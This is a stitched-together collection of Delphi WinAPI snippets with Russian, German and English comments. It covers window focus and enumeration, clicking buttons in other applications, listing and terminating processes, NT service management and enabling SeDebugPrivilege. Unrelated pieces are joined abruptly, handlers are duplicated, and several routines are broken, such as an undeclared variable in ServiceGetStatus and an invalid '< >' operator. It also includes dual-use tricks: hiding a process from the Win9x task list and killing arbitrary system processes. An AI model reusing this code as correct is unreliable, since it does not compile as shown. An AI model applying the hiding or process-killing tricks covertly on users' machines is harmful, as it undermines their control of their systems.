procedure TForm1.Button1Click(Sender: TObject);
begin
if IsWordInstalled then
ShowMessage('MS Word is installed.');
end;
На стандартной форме (Form1):
Form1.FormStyle=fsStayOnTop - форма поверх остальных окон
Объекты:
1. ТАЙМЕР (Timer1) с периодом 1000 или меньше,
2. 3 метки (Label1, Label2, Label3). назначение их см. в тексте процедуры
3. У таймера событие OnTimer. а вот для нее обработчик:
procedure TForm1.Timer1Timer(Sender: TObject);
var
dwTargetOwner: DWORD; //указатель на подключаемый процесс
dwThreadID: DWORD; //указатель на текущий процесс
Result: longbool;
begin
{В первой метке отображается Handle активного окна}
Label1.Caption := IntToStr(GetForegroundWindow);
//указатель на подключаемое приложение
// Подключение потока другого окна
// Указатель на подключаемый процесс
dwTargetOwner := GetWindowThreadProcessId(GetForegroundWindow, nil);
dwThreadID := GetCurrentThreadId(); //указатель на текущий процесс
if (dwTargetOwner <> dwThreadID) then // если не один и тот же процесс
Result := AttachThreadInput(dwThreadID, dwTargetOwner, TRUE); //подключение
{Во второй метке отображается Handle объекта 'в фокусе' в активном окне}
Label2.Caption := IntToStr(GetFocus); //фокус в другом приложении
if (Result) then
AttachThreadInput(dwThreadID, dwTargetOwner, FALSE); //отключение
{В третей метке отображается Handle объекта 'в фокусе' в активном окне,
но если это окно другого приложения, то Handle будет равен нулю,
т.к. попытка получения Handle происходит после отключения потока}
Label3.Caption := inttostr(GetFocus); //проверка после отключения
{Эффект можно посмотреть, если запустить полученное приложение
и сделать активным другое приложение}
{Ясно, что полученный Handle объекта можно использовать
по своему разумению. Например, считать из объекта текст и т.п.}
// (C) SottNick 2000
end;
function MyCallback(Wnd: THandle;Param: integer): boolean; stdcall;
var
style: longint;
tsb, rabst: integer;
begin
tsb:=FindWindow('Shell_TrayWnd', nil);
rabst:=FindWindow('ProgMan', 'Program Manager');
Result := Wnd <> 0;
style:=GetWindowLong(wnd,GWL_EXSTYLE);
style:=style and WS_EX_TOPMOST;
if Result and IsWindowVisible(Wnd)and (not IsIconic(WND)) and (wnd<>tsb) and
(wnd<>rabst) and (wnd<>FindWindow('Indicator',nil)) and
(style<>WS_EX_TOPMOST)and(wnd<>form1.handle)then
begin
ShowWindow(Wnd,sw_hide);
ShowWindow(Wnd,Param);
end;
end;
procedure ShowAllWindows(Cmd: integer);
begin
EnumWindows(@MyCallback,Cmd);
end;
теперь в любом месте программы, когда необходимо свернуть окна вызываем функцию:
ShowAllWindows(SW_SHOWMINIMIZED);
{
You can perform communication between your application using Windows messages
exchange mechanism. We can use HWND_BROADCAST value for first parameter for
SendMessage function for suppressing finding of forms' in other applications HANDLE.
For using HWND_BROADCAST we should register our messages in Windows.
In example below we will inform about our form's top position)
Das Beispiel zeigt, wie zwischen zwei Applikationen eine Meldung (Message)
verschickt werden kann. Die Meldung mit wird mit SendMessage verschickt.
Der erst Parameter ist HWND_BROADCAST, beim zweite ist unsere Message.
Das untenstehende Beispiel informiert z.B uber die Top-Position unserer Form}
// 1. Define type of your message structure, it could be something like this:
// 1. Definiere eine eigene Message Struktur:
type
TWMMYMessage = record
Msg: Cardinal; // ( first is the message ID )
Handle: HWND; // ( this is the wParam, Handle of sender)
Info: Longint; // ( this is lParam, pointer to our data)
Result: Longint;
end;
// 2. Override your form''s DefaultHandler method and add
// method for handling your message, like this
// 2. Die DefaultHandler Methode zu uberschreiben
TForm1 = class(TForm)
...public
{ Public declarations }
...procedure DefaultHandler(var Message); override;
procedure WMMYMessage(var Msg: TWMMYMessage);
...end;
// 3. Declare message variable:
// 3. Die Message-Variablen deklarieren:
var
WM_OURMESSAGE: DWORD;
// 4. Insert realisation of DefaultHandler and our message handler methods:
// 4. DefaultHandler Implementation:
procedure TForm1.DefaultHandler(var Message);
var
ee: TWMMYMessage;
begin
with TMessage(Message) do
begin
if (Msg = WM_OURMESSAGE) then
begin
ee.Msg := Msg;
ee.Handle := wParam;
ee.Info := lParam;
// Checking if this message is not from us
if ee.Handle <> Handle then
WMMYMessage(ee);
end
else
inherited DefaultHandler(Message);
end;
end;
procedure TForm1.WMMYMessage(var Msg: TWMMYMessage);
begin
label1.Caption := Format('Our another form handle :%d', [Msg.Handle]);
Label2.Caption := Format('Our another form top :%d', [Msg.Info]);
end;
// 5. Add registration of your message that you could
// handle the HWND_BROADCAST messages:
// 5. Die Message registrieren.
initialization
WM_OURMESSAGE := RegisterWindowMessage('Our broadcast message');
// 6. Add the message sending somewhere:
procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(HWND_BROADCAST, WM_OURMESSAGE, Handle, Top);
end;
function GetText(Wnd: HWND): string;
var
textlength: Integer;
Text: PChar;
begin
textlength := SendMessage(Wnd, WM_GETTEXTLENGTH, 0, 0);
if textlength = 0 then Result := ''
else
begin
GetMem(Text, textlength + 1);
SendMessage(Wnd, WM_GETTEXT, textlength + 1, Integer(Text));
Result := Text;
FreeMem(Text);
end;
end;
function EnumWindowsProc(Wnd: HWND; lParam: lParam): BOOL; stdcall;
begin
Result := True;
if (IsWindowVisible(Wnd) or IsIconic(wnd)) and
((GetWindowLong(Wnd, GWL_HWNDPARENT) = 0) or
(GetWindowLong(Wnd, GWL_HWNDPARENT) = GetDesktopWindow)) and
(GetWindowLong(Wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW = 0) then
Form1.Listbox1.Items.Add('Handle: ' + IntToStr(Wnd) + ',Text: ' + GetText(Wnd));
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Param: Longint;
begin
EnumWindows(@EnumWindowsProc, Param);
end;
Требуется нажать в "другом" приложении пару кнопок (button). (кнопки не имеют hotkeys). Ищу окно так (Дельфи):
if FindWindow(nil, 'Advanced Dialer')<> 0 then
ShowMessage('OK');
А теперь в найденном приложении надо нажать кнопку HangUp, подождать 5 сек. и нажать кнопку Dial. Подскажите плз. как
это реализовать. Я не знаю, что там за кнопки... Если класс Button, то один вариант, если это конпки на тулбаре, то
другой. Вот посмотри, я писал когда-то, лишнее стирать лень... реализуется 1-й и 2-й способ:
function PressAbortAndReloadBtn: string;
var
MenuHnd: THandle;
//описатель меню
ItemUint: UINT;
//идентификатор пункта меню
BtnHnd: THandle;
begin
result := PRX_UNKNOWN_ERR;
GetProcList;
if Prx_MainWHnd <> 0 then
begin
BtnHnd := FindWindowEx(Prx_MainWHnd, 0, nil, PChar(PrxABtnName));
SendMessage(BtnHnd, BM_CLICK, 0, 0);
Sleep(100);
MenuHnd := GetMenu(Prx_MainWHnd);
if Menuhnd <> 0 then
begin
ItemUint := GetMenuItemID(Menuhnd, 4);
if ItemUint <> 0 then
begin
SendMessage(Prx_MainWHnd, WM_COMMAND, ItemUint, 0);
result := PRX_OK;
end
else
result := PRX_ITEM_NOT_FOUND;
end
else
result := PRX_MENU_NOT_FOUND;
end
else
result := PRX_NOT_FOUND;
if result <> PRX_OK then
WriteLog(result);
end;
// У себя делал так
procedure ClickOnForm(wnd: HWND; caption: string);
var
TheChildHandle: HWND;
begin
TheChildHandle := FindWindowEx(wnd, 0, nil, PChar(caption));
SendMessage(TheChildHandle, WM_LButtonDown, 1, 1);
SendMessage(TheChildHandle, WM_LButtonUP, 1, 1);
end;
procedure TForm1.Button4Click(Sender: TObject);
var
wnd: HWND;
caption: string;
begin
wnd := GetTopWindow(0);
repeat
SetLength(caption, GetWindowtextLength(wnd));
GetWindowText(wnd, @caption[1], length(caption) + 1);
if (trim(caption) = 'Form caption') then
ClickOnForm(wnd, 'Button name');
wnd := GetNextWindow(wnd, GW_HWNDNEXT);
until wnd = 0;
end;
// The Documented way
{
An application can check if a window is responding to messages by
sending the WM_NULL message with the SendMessageTimeout function.
Um zu uberprufen, ob ein anderes Fenster (Anwendung) noch reagiert,
kann man ihr mit der SendMessageTimeout() API eine WM_NULL Nachricht schicken.
}
function AppIsResponding(ClassName: string): Boolean;
const
{ Specifies the duration, in milliseconds, of the time-out period }
TIMEOUT = 50;
var
Res: DWORD;
h: HWND;
begin
h := FindWindow(PChar(ClassName), nil);
if h <> 0 then
Result := SendMessageTimeOut(H,
WM_NULL,
0,
0,
SMTO_NORMAL or SMTO_ABORTIFHUNG,
TIMEOUT,
Res) <> 0
else
ShowMessage(Format('%s not found!', [ClassName]));
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if AppIsResponding('OpusApp') then
{ OpusApp is the Class Name of WINWORD }
ShowMessage('App. responding');
end;
-------------------------------------------------
// The Undocumented way
{
// Translated form C to Delphi by Thomas Stutz
// Original Code:
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
The code doesn't use the Win32 API SendMessageTimout function to
determine if the target application is responding but calls
undocumented functions from the User32.dll.
--> For NT/2000/XP the IsHungAppWindow() API:
The function IsHungAppWindow retrieves the status (running or not responding)
of the specified application
IsHungAppWindow(Wnd: HWND): // handle to main app's window
BOOL;
--> For Windows 95/98/ME we call the IsHungThread() API
The function IsHungThread retrieves the status (running or not responding) of
the specified thread
IsHungThread(DWORD dwThreadId): // The thread's identifier of the main app's window
BOOL;
Unfortunately, Microsoft doesn't provide us with the exports symbols in the
User32.lib for these functions, so we should load them dynamically using the
GetModuleHandle and GetProcAddress functions:
}
// For Win9X/ME
function IsAppRespondig9X(dwThreadId: DWORD): Boolean;
type
TIsHungThread = function(dwThreadId: DWORD): BOOL; stdcall;
var
hUser32: THandle;
IsHungThread: TIsHungThread;
begin
Result := True;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
@IsHungThread := GetProcAddress(hUser32, 'IsHungThread');
if Assigned(IsHungThread) then
begin
Result := not IsHungThread(dwThreadId);
end;
end;
end;
// For Win NT/2000/XP
function IsAppRespondigNT(wnd: HWND): Boolean;
type
TIsHungAppWindow = function(wnd:hWnd): BOOL; stdcall;
var
hUser32: THandle;
IsHungAppWindow: TIsHungAppWindow;
begin
Result := True;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
@IsHungAppWindow := GetProcAddress(hUser32, 'IsHungAppWindow');
if Assigned(IsHungAppWindow) then
begin
Result := not IsHungAppWindow(wnd);
end;
end;
end;
function IsAppRespondig(Wnd: HWND): Boolean;
begin
if not IsWindow(Wnd) then
begin
ShowMessage('Incorrect window handle!');
Exit;
end;
if Win32Platform = VER_PLATFORM_WIN32_NT then
Result := IsAppRespondigNT(wnd)
else
Result := IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));
end;
// Example: Check if Word is hung/responding
procedure TForm1.Button3Click(Sender: TObject);
var
Res: DWORD;
h: HWND;
begin
// Find Winword by classname
h := FindWindow(PChar('OpusApp'), nil);
if h <> 0 then
begin
if IsAppRespondig(h) then
ShowMessage('Word is responding!')
else
ShowMessage('Word is not responding!');
end
else
ShowMessage('Word is not open!');
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Unit с полезными функциями для работы с процессами
Этот Unit содержит полезные функции для работы с процессами.
Взять информацию о данном процессе, обо всех процессах, убить процесс, и т.д.
Полезна при создании системных приложений под Win32.
Надо хорошо оттестировать этот Unit.
Зависимости: windows, PSAPI, TlHelp32, SysUtils;
Автор: Alex Kantchev, stoma@bitex.bg
Copyright: Моя разработка, некоторые функции базируются
на примере в MSDN jan 2000 Collection
Дата: 5 июня 2002 г.
***************************************************** }
unit ProcUtilz;
interface
uses windows, PSAPI, TlHelp32, SysUtils;
type
TLpModuleInfo = packed record
ModuleInfo: LPMODULEINFO;
ModulePID: Cardinal;
ModuleName: string;
end;
type
TLpModuleInfoArray = array of TLpModuleInfo;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';
function DisplayProcessInThreeFingerSalute(PID: Integer; Disp: Boolean):
Boolean;
function TakeProcessID(WindowTitle: string): Integer;
function GetCurrAppPID: Integer;
function GetAllProcessesInfo(ExtractFullPath: Boolean = false):
TLpModuleInfoArray;
function ExtractExeFromModName(ModuleName: string): string;
function TerminateTask(PID: integer): integer;
implementation
//Wziat PID na danoi process ot nego window title
function TakeProcessID(WindowTitle: string): Integer;
var
WH: THandle;
begin
result := 0;
WH := FindWindow(nil, pchar(WindowTitle));
if WH <> 0 then
GetWindowThreadProcessID(WH, @Result);
end;
//Wziat PID na tekuchii process
function GetCurrAppPID: Integer;
begin
GetCurrAppPID := GetCurrentProcessID;
end;
//Pokzat process s PID v task menagera Windows 9X
//WNIMANIE: Rabotaet tolko pod Win9x !!!!
function DisplayProcessInThreeFingerSalute(PID: Integer; Disp: Boolean):
Boolean;
begin
result := false;
if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
begin
try
if Disp = True then
RegisterServiceProcess(PID, 0)
else
RegisterServiceProcess(PID, 1);
except
result := false;
end;
end;
DisplayProcessInThreeFingerSalute := result;
end;
//Ostanavlivaet rabotu procesa. Ne rabotaet so WinNT
//serviznae processi.
function TerminateTask(PID: integer): integer;
var
process_handle: integer;
lpExitCode: Cardinal;
begin
process_handle := openprocess(PROCESS_ALL_ACCESS, true, pid);
GetExitCodeProcess(process_handle, lpExitCode);
if (process_handle = 0) then
TerminateTask := GetLastError
else if terminateprocess(process_handle, lpExitCode) then
begin
TerminateTask := 0;
CloseHandle(process_handle);
end
else
begin
TerminateTask := GetLastError;
CloseHandle(process_handle);
end;
end;
//Wziat informacia ob processse po ego PID
//Testirano pod WinNT.
function GetProcessInfo(PID: WORD): LPMODULEINFO;
var
RetVal: LPMODULEINFO;
hProc: DWORD;
hMod: HMODULE;
cm: cardinal;
begin
hProc := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false,
PID);
GetMem(RetVal, sizeOf(LPMODULEINFO));
if not (hProc = 0) then
begin
EnumProcessModules(hProc, @hMod, 4, cm);
GetModuleInformation(hProc, hMod, RetVal, SizeOf(RetVal));
end;
GetProcessInfo := RetVal;
end;
//Wziat executable processa ot ego polnai put
function ExtractExeFromModName(ModuleName: string): string;
begin
ExtractExeFromModName := Copy(ModuleName, LastDelimiter('\', ModuleName) + 1,
Length(ModuleName));
;
end;
//Wziat informacia ob wse processi rabotaushtie w tekuchii
//moment. Testirano pod WinNT
function GetAllProcessesInfo(ExtractFullPath: Boolean = false):
TLpModuleInfoArray;
var
ProcList: array[0..$FFF] of DWORD;
RetVal: TLpModuleInfoArray;
ProcCnt: Cardinal;
I, MaxCnt: WORD;
ModName: array[0..max_path] of char;
ph, mh: THandle;
cm: Cardinal;
SnapShot: THandle;
ProcEntry: TProcessEntry32;
RetValLength, CVal: WORD;
ModInfo: LPMODULEINFO;
begin
//case the platform is Win9X
if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
begin
GetMem(ModInfo, SizeOf(LPMODULEINFO));
SnapShot := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
RetValLength := 0;
CVal := 0;
if not integer(SnapShot) = -1 then
begin
ProcEntry.dwSize := sizeof(TProcessEntry32);
if Process32First(SnapShot, ProcEntry) then
repeat
//get the size of out array
Inc(RetValLength);
until not Process32Next(SnapShot, ProcEntry);
//set the size of the output array
SetLength(RetVal, RetValLength);
//iterate through processes and get their info
if Process32First(SnapShot, ProcEntry) then
repeat
begin
Inc(CVal);
ModInfo.lpBaseOfDll := nil;
ModInfo.SizeOfImage := ProcEntry.dwSize;
ModInfo.EntryPoint := nil;
RetVal[CVal].ModuleInfo := ModInfo;
RetVal[CVal].ModulePID := ProcEntry.th32ProcessID;
if (ExtractFullPath) then
RetVal[CVal].ModuleName := string(ProcEntry.szExeFile)
else
RetVal[CVal].ModuleName :=
ExtractExeFromModName(string(ProcEntry.szExeFile));
ModInfo := nil;
end;
until not Process32Next(SnapShot, ProcEntry);
end;
end
//case the platform is WinNT/2K/XP
else
begin
EnumProcesses(@ProcList, sizeof(ProcList), ProcCnt);
MaxCnt := ProcCnt div 4;
SetLength(RetVal, MaxCnt);
//iterate through processes and get their info
for i := Low(RetVal) to High(RetVal) do
begin
//Check for reserved PIDs
if ProcList[i] = 0 then
begin
RetVal[i].ModuleName := 'System Idle Process';
RetVal[i].ModulePID := 0;
RetVal[i].ModuleInfo := ProcUtilz.GetProcessInfo(i);
end
else if ProcList[i] = 8 then
begin
RetVal[i].ModuleName := 'System';
RetVal[i].ModulePID := 8;
RetVal[i].ModuleInfo := ProcUtilz.GetProcessInfo(i);
end
//Gather info about all processes
else
begin
RetVal[i].ModulePID := ProcList[i];
RetVal[i].ModuleInfo := GetProcessInfo(ProcList[i]);
//get module name
ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false,
ProcList[i]);
if ph > 0 then
begin
EnumProcessModules(ph, @mh, 4, cm);
GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
if (ExtractFullPath) then
RetVal[i].ModuleName := string(ModName)
else
RetVal[i].ModuleName := ExtractExeFromModName(string(ModName));
end
else
RetVal[i].ModuleName := 'UNKNOWN';
CloseHandle(ph);
end;
end;
end;
//return the array of LPMODULEINFO structz
GetAllProcessesInfo := RetVal;
end;
end.
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
PC: WORD;
begin
ListBox1.Clear;
ProcArr := TLpModuleInfoArray(ProcUtilz.GetAllProcessesInfo);
PC := 0;
for i := Low(ProcArr) to High(ProcArr) do
begin
ListBox1.Items.Add('Process Name: ' + ProcArr[i].ModuleName +
' : Proccess ID ' + IntToStr(ProcArr[i].ModulePID) + ' : Image Size: ' +
IntToStr(ProcArr[i].ModuleInfo.SizeOfImage));
Inc(PC);
end;
ListBox1.Items.Add('Total process count: ' + IntToStr(PC));
end;
procedure TForm1.Button2Click(Sender: TObject);
var
EC: Integer;
begin
EC := ProcUtilz.TerminateTask(ProcArr[ListBox1.ItemIndex].ModulePID);
if EC = 0 then
MessageDlg('Task terminated successfully!', mtInformation, [mbOK], 0)
else
MessageDlg('Unable to terminate task! GetLastError() returned: ' +
IntToStr(EC), mtWarning, [mbOK], 0);
Button1Click(Sender);
end;
uses
JwaWinBase; ( http://members.chello.nl/m.vanbrakel2/ )
//...
procedure TForm1.Button1Click(Sender: TObject);
var
si: STARTUPINFOW;
pif: PROCESS_INFORMATION;
res: Bool;
s: string;
begin
//erstmal die StartUpInfoW setzen
//set StartUpInfoW first
si.cb := SizeOf(startupinfow);
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := SW_SHOWDEFAULT;
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := 'Konsole';
// dann CreateProcessWithLogonW ausfьhren...
// run CreateProcessWithLogonW...
res := CreateProcessWithLogonW('Security', 'ArViCor', 'test', LOGON_WITH_PROFILE,
'c:\win2kas\system32\regedt32.exe', nil
, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pif);
if booltostr(res) = '0' then
begin
//wenn ein Fehler auftritt, soll der Fehlercode ausgegeben werden
//ьber 'net helpmsg ' in der Kommandoeingabeaufforderung
//kann dieser entziffert werden
//if an error occures, show the error-code
//this code can be 'translated' with 'net helpmsg ' on command-prompt
str(GetLastError, s);
ShowMessage('CreateProcessWithLogonResult: ' + booltostr(res) + #10 +
'GetLastError: ' + s);
end;
end;
// Verbesserungen gerne als Mail an mich!
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Инсталляция/удаление сервисов под НТ.
Функции для создавания и удаления NT Services.
Можно создать NT Service от текущее приложение. Параметры:
1. CreateNTService(ExecutablePath,ServiceName: String)
ExecutablePath - Полный путь к изполнимого файла от которого создавается NT Service
ServiceName - Имя сервиза которое отобразится в Service Control Manager
Результат:
true - если операциая завершена успешно
false - если есть ошибка. Можно произвести call то
GetLastError чтобы информироваться об естество ошибки
2. DeleteNTService(ServiceName: String):boolean;
ServiceName - имя сервиза подлежающии удаления
Результат:
true - если операциая завершена успешно
false - если есть ошибка. Можно произвести call то GetLastError чтобы
информироваться об естество ошибки
Зависимости: WinSVC, Windows
Автор: Alex Kantchev, stoma@bitex.bg
Copyright: Собственное написание
Дата: 19 июня 2002 г.
***************************************************** }
// CreateNTService(ExecutablePath,ServiceName: String)
// ExecutablePath - Полный путь к изполнимого файла от
// которого создавается NT Service
// ServiceName - Имя сервиза которое отобразится
// в Service Control Manager Результат:
//Результат:
// true - если операциая завершена успешно
// false - если есть ошибка. Можно произвести
// call то GetLastError чтобы информироваться об
// естество ошибки
function CreateNTService(ExecutablePath, ServiceName: string): boolean;
var
hNewService, hSCMgr: SC_HANDLE;
// Rights: DWORD;
FuncRetVal: Boolean;
begin
FuncRetVal := False;
hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if (hSCMgr <> 0) then
begin
//Custom service access rights may be built here
//we use GENERIC_EXECUTE which is combination of
//STANDARD_RIGHTS_EXECUTE, SERVICE_START, SERVICE_STOP,
//SERVICE_PAUSE_CONTINUE, and SERVICE_USER_DEFINED_CONTROL
//You can create own rights and use them as shown in the
//commented line below.
//Rights := STANDARD_RIGHTS_REQUIRED or SERVICE_START or SERVICE_STOP
// or SERVICE_QUERY_STATUS or SERVICE_PAUSE_CONTINUE or
// SERVICE_INTERROGATE;
hNewService := CreateService(hSCMgr, PChar(ServiceName), PChar(ServiceName),
STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
PChar(ExecutablePath), nil, nil, nil, nil, nil);
CloseServiceHandle(hSCMgr);
if (hNewService <> 0) then
FuncRetVal := true
else
FuncRetVal := false;
end;
CreateNTService := FuncRetVal;
end;
// ***
//DeleteNTService(ServiceName: String):boolean;
// ServiceName - имя сервиза подлежающии удаления
//Результат:
// true - если операциая завершена успешно
// false - если есть ошибка. Можно произвести call то GetLastError чтобы
// информироваться об естество ошибки
function DeleteNTService(ServiceName: string): boolean;
var
hServiceToDelete, hSCMgr: SC_HANDLE;
RetVal: LongBool;
FunctRetVal: Boolean;
begin
FunctRetVal := false;
hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if (hSCMgr <> 0) then
begin
hServiceToDelete := OpenService(hSCMgr, PChar(ServiceName),
SERVICE_ALL_ACCESS);
RetVal := DeleteService(hServiceToDelete);
CloseServiceHandle(hSCMgr);
FunctRetVal := RetVal;
end;
DeleteNTService := FunctRetVal;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
tmpS: string;
begin
tmpS := 'Delphi_Service_' + Application.Title;
if (CreateNTService(Application.ExeName, tmpS)) then
MessageDlg('Service ' + tmpS + ' has been successfully created!',
mtInformation, [mbOK], 0)
else
MessageDlg('Unable to create service ' + tmpS + ' Win32 Error code: ' +
IntToStr(GetLastError), mtWarning, [mbOK], 0);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
tmpS: string;
begin
tmpS := 'Delphi_Service_' + Application.Title + '1';
if (DeleteNTService(tmpS)) then
MessageDlg('Service ' + tmpS + ' has been successfully deleted!',
mtInformation, [mbOK], 0)
else
MessageDlg('Unable to delete service ' + tmpS + ' Win32 Error code: ' +
IntToStr(GetLastError), mtWarning, [mbOK], 0);
end;
Создайте процедуру, которая будет вызываться при событии Application.OnIdle.
Обьявим процедуру:
{Private declarations}
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);
В разделе implementation опишем поцедуру:
procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
{Здесь нужно указать, что именно будем делать}
Done := false;
end;
В методе Form'ы OnCreate - укажем что наша процедура вызывается на событии
Application.OnIdle.Application.OnIdle := IdleEventHandler;
Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной
Done присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной
Done не присвоенно значение True.
// Включение, приминение и отключения привилегии.
// Для примера возьмем привилегию отладки приложений 'SeDebugPrivilege'
// необходимую для завершения ЛЮБЫХ процессов в системе (завершение процесов
// созданных текущим пользователем привилегия не нужна.
function ProcessTerminate(dwPID:Cardinal):Boolean;
var
hToken:THandle;
SeDebugNameValue:Int64;
tkp:TOKEN_PRIVILEGES;
ReturnLength:Cardinal;
hProcess:THandle;
begin
Result:=false;
// Добавляем привилегию SeDebugPrivilege
// Для начала получаем токен нашего процесса
if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken ) then
exit;
// Получаем LUID привилегии
if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue )
then begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount:= 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
// Добавляем привилегию к нашему процессу
AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
if GetLastError()< > ERROR_SUCCESS then exit;
// Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
// завершить и системный процесс
// Получаем дескриптор процесса для его завершения
hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
if hProcess =0 then exit;
// Завершаем процесс
if not TerminateProcess(hProcess, DWORD(-1))
then exit;
CloseHandle( hProcess );
// Удаляем привилегию
tkp.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
if GetLastError() < > ERROR_SUCCESS
then exit;
Result:=true;
end;
// Название добавление/удаление привилгии немного неправильные. Привилегия или
// есть в токене процесса или ее нет. Если привилегия есть, то она может быть в
// двух состояниях - или включеная или отключеная. И в этом примере мы только
// включаем или выключаем необходимую привилегию, а не добавляем ее.
Запустить аплет Панели управления можно вызвав функцию WinExec, для выполнения файла control.exe, которому передано имя аплета.
Обычно аплеты панели управления расположены в каталоге System Windows и имеют расширение .cpl.
procedure TForm1.Button1Click(Sender: TObject);
begin
WinExec('C:\WINDOWS\CONTROL.EXE TIMEDATE.CPL', sw_ShowNormal);
end;
Запускать можете следующие апплеты:
* Desk.cpl - свойства экрана
* Inetcpl.cpl - свойства Internet
* Intl.cpl - свойства "Язык и Стандарты"
* Joy.cpl - игровые устройства
* Mmsys.cpl - свойства мультимедиа
* Modem.cpl - свойства модемы
* Netcpl.cpl - сеть
* Odbccp32.cpl - ODBC Data Source Administrator
* Password.cpl - свойства пароли
* Powercfg.cpl - свойства "Управление электропитанием"
* Access.cpl - свойства "Специальные возможности"
* Sticpl.cpl - свойства "Сканеры м камеры"
* Sysdm.cpl - свойства системы
* Telephon.cpl - параметры набора номера
* Appwiz.cpl - установка и удаление программ
* Main.cpl - мышь
* Timedate.cpl - свойства "Дата и время"
* dtccfg.cpl - настройка клиента MS DTC
* Mlcfg32.cpl - свойства Microsoft Outlook
* Findfast.cpl - Microsoft FrontPage
* bdeadmin.cpl - BDE Administrator
* ibmgr.cpl - Interbase manager
Здесь представлены две функции ServiceStart и ServiceStop, которые показывают, как пользоваться API функциями OpenSCManager,
OpenService и т.д.:
function ServiceStart(aMachine, aServiceName: string ): boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
h_manager,h_svc: SC_Handle;
svc_status: TServiceStatus;
Temp: PChar;
dwCheckPoint: DWord;
begin
svc_status.dwCurrentState := 1;
h_manager := OpenSCManager(PChar(aMachine), nil, SC_MANAGER_CONNECT);
if h_manager > 0 then
begin
h_svc := OpenService(h_manager, PChar(aServiceName),
SERVICE_START or SERVICE_QUERY_STATUS);
if h_svc > 0 then
begin
temp := nil;
if (StartService(h_svc,0,temp)) then
if (QueryServiceStatus(h_svc,svc_status)) then
begin
while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
begin
dwCheckPoint := svc_status.dwCheckPoint;
Sleep(svc_status.dwWaitHint);
if (not QueryServiceStatus(h_svc,svc_status)) then
break;
if (svc_status.dwCheckPoint < dwCheckPoint) then
begin
// QueryServiceStatus не увеличивает dwCheckPoint
break;
end;
end;
end;
CloseServiceHandle(h_svc);
end;
CloseServiceHandle(h_manager);
end;
Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;
function ServiceStop(aMachine,aServiceName: string ): boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
h_manager, h_svc: SC_Handle;
svc_status: TServiceStatus;
dwCheckPoint: DWord;
begin
h_manager:=OpenSCManager(PChar(aMachine),nil, SC_MANAGER_CONNECT);
if h_manager > 0 then
begin
h_svc := OpenService(h_manager,PChar(aServiceName),
SERVICE_STOP or SERVICE_QUERY_STATUS);
if h_svc > 0 then
begin
if(ControlService(h_svc,SERVICE_CONTROL_STOP, svc_status))then
begin
if(QueryServiceStatus(h_svc,svc_status))then
begin
while(SERVICE_STOPPED <> svc_status.dwCurrentState)do
begin
dwCheckPoint := svc_status.dwCheckPoint;
Sleep(svc_status.dwWaitHint);
if(not QueryServiceStatus(h_svc,svc_status))then
begin
// couldn't check status
break;
end;
if(svc_status.dwCheckPoint < dwCheckPoint)then
break;
end;
end;
end;
CloseServiceHandle(h_svc);
end;
CloseServiceHandle(h_manager);
end;
Result := SERVICE_STOPPED = svc_status.dwCurrentState;
end;
Чтобы узнать состояние сервиса, используйте следующую функцию:
function ServiceGetStatus(sMachine, sService: string ): DWord;
var
h_manager, h_service: SC_Handle;
service_status: TServiceStatus;
hStat: DWord;
begin
hStat := 1;
h_manager := OpenSCManager(PChar(sMachine) ,nil, SC_MANAGER_CONNECT);
if h_manager > 0 then
begin
h_svc := OpenService(h_manager,PChar(sService), SERVICE_QUERY_STATUS);
if h_svc > 0 then
begin
if(QueryServiceStatus(h_svc, service_status)) then
hStat := service_status.dwCurrentState;
CloseServiceHandle(h_svc);
end;
CloseServiceHandle(h_manager);
end;
Result := hStat;
end;
Она возвращает одну из следующих констант:
* SERVICE_STOPPED
* SERVICE_RUNNING
* SERVICE_PAUSED
